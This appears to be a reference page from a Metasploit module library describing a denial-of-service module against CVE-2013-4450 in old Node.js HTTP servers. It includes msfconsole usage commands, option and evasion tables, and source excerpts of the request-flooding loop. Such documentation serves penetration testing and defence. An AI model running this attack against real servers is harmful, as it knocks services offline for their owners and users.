Node.js HTTP Pipelining Denial of Service - Metasploit


This page contains detailed information about how to use the auxiliary/dos/http/nodejs_pipelining metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Node.js HTTP Pipelining Denial of Service
Module: auxiliary/dos/http/nodejs_pipelining
Source code: modules/auxiliary/dos/http/nodejs_pipelining.rb
Disclosure date: 2013-10-18
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 80
List of CVEs: CVE-2013-4450

This module exploits a Denial of Service (DoS) condition in the HTTP parser of Node.js versions released before 0.10.21 and 0.8.26. The attack sends many pipelined HTTP requests on a single connection, which causes unbounded memory allocation when the client does not read the responses.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/dos/http/nodejs_pipelining
msf auxiliary(nodejs_pipelining) > show targets
    ... a list of targets ...
msf auxiliary(nodejs_pipelining) > set TARGET target-id
msf auxiliary(nodejs_pipelining) > show options
    ... show and set options ...
msf auxiliary(nodejs_pipelining) > exploit

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage

Here is how the dos/http/nodejs_pipelining auxiliary module looks in the msfconsole:

msf6 > use auxiliary/dos/http/nodejs_pipelining

msf6 auxiliary(dos/http/nodejs_pipelining) > show info

       Name: Node.js HTTP Pipelining Denial of Service
     Module: auxiliary/dos/http/nodejs_pipelining
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-10-18

Provided by:
  Marek Majkowski
  titanous
  joev <[email protected]>

Check supported:
  Yes

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RLIMIT  100000           yes       Number of requests to send
  RPORT   80               yes       The target port (TCP)

Description:
  This module exploits a Denial of Service (DoS) condition in the HTTP 
  parser of Node.js versions released before 0.10.21 and 0.8.26. The 
  attack sends many pipelined HTTP requests on a single connection, 
  which causes unbounded memory allocation when the client does not 
  read the responses.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2013-4450
  OSVDB (98724)
  http://www.securityfocus.com/bid/63229
  http://blog.nodejs.org/2013/10/22/cve-2013-4450-http-server-pipeline-flood-dos

Module Options

This is a complete list of options available in the dos/http/nodejs_pipelining auxiliary module:

msf6 auxiliary(dos/http/nodejs_pipelining) > show options

Module options (auxiliary/dos/http/nodejs_pipelining):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RLIMIT  100000           yes       Number of requests to send
   RPORT   80               yes       The target port (TCP)

Advanced Options

Here is a complete list of advanced options supported by the dos/http/nodejs_pipelining auxiliary module:

msf6 auxiliary(dos/http/nodejs_pipelining) > show advanced

Module advanced options (auxiliary/dos/http/nodejs_pipelining):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CHOST                            no        The local client address
   CPORT                            no        The local client port
   ConnectTimeout  10               yes       Maximum number of seconds to establish a TCP connection
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                        no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode   PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion      Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the dos/http/nodejs_pipelining module can do:

msf6 auxiliary(dos/http/nodejs_pipelining) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the dos/http/nodejs_pipelining auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(dos/http/nodejs_pipelining) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Failed to determine the vulnerable state due to an EOFError (no response)

Here is a relevant code snippet related to the "Failed to determine the vulnerable state due to an EOFError (no response)" error message:

50:	      response = sock.get_once
51:	      status = Exploit::CheckCode::Appears if response =~ /HTTP/
52:	    rescue EOFError
53:	      # checking against >= 0.10.17 raises EOFError because there is no
54:	      # response to GEM requests
55:	      vprint_error("Failed to determine the vulnerable state due to an EOFError (no response)")
56:	      return Msf::Exploit::CheckCode::Unknown
57:	    ensure
58:	      disconnect
59:	    end
60:	    status

Unable to connect to <HOST>.

Here is a relevant code snippet related to the "Unable to connect to <HOST>." error message:

76:	      print_status("Stressing the target memory...")
77:	      connect
78:	      datastore['RLIMIT'].times { sock.put(payload) }
79:	      print_status("Attack finished. If you read it, it wasn't enough to trigger an Out Of Memory condition.")
80:	    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
81:	      print_status("Unable to connect to #{host}.")
82:	    rescue ::Errno::ECONNRESET, ::Errno::EPIPE, ::Timeout::Error
83:	      print_good("DoS successful. #{host} not responding. Out Of Memory condition probably reached")
84:	    ensure
85:	      disconnect
86:	    end

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References

See Also

Check also the following modules related to this module:

Authors

  • Marek Majkowski
  • titanous
  • joev

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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